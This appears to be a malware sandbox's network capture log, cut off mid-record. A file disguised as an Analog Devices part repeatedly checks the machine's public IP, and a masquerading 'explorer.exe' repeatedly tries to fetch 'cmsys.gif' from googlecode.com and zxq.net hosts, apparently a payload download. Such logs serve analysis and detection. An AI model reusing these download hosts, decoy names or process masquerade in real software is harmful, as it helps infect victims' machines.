Oct 10, 2024 10:12:40.407608032 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 10, 2024 10:12:40.613192081 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:40 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8a7b83b508584635cc00505dc711484a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:39.565428972 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:12:40.280776978 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:12:40 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:12:40.280802965 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	132.226.247.73	80	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:41.542645931 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 10, 2024 10:12:42.207710028 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:42 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4e01f185d08ca23446db6658a8fdeb06 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:41.974889994 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:12:42.725902081 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:12:42 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:12:42.725918055 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	132.226.247.73	80	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:42.835688114 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 10, 2024 10:12:43.500017881 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6db05aafade32f13ae62efd1da9c78ef Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	132.226.247.73	80	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:44.303736925 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 10, 2024 10:12:44.977232933 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:44 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5470af770c610444188f0059fd613b11 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	132.226.247.73	80	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:45.644862890 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 10, 2024 10:12:46.978985071 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 93dc4314ceff0af51360c8257c16581e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 10, 2024 10:12:46.979327917 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 93dc4314ceff0af51360c8257c16581e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Oct 10, 2024 10:12:46.979547977 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 93dc4314ceff0af51360c8257c16581e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49755	51.81.194.202	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:47.010972977 CEST	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 10, 2024 10:12:47.633951902 CEST	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Thu, 10 Oct 2024 08:12:47 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49756	132.226.247.73	80	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:47.670541048 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 10, 2024 10:12:48.344055891 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:48 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d61ebbf16c1e651e69508e0ee5c580d2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49761	132.226.247.73	80	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:48.972150087 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 10, 2024 10:12:49.657468081 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:49 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c1f6142ceed03f7493b1cec50d8e8c6e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49767	132.226.247.73	80	7860	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:50.320301056 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 10, 2024 10:12:50.983469009 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:12:50 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d2611aeb616acc66e3821d9b7cf6243a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49771	64.233.184.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:51.901782990 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:12:52.609916925 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:12:52 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 10, 2024 10:12:52.610008001 CEST	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49773	173.194.76.82	80	6792	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 10:12:54.382356882 CEST	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 10, 2024 10:12:55.084719896 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Thu, 10 Oct 2024 08:12:55 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px 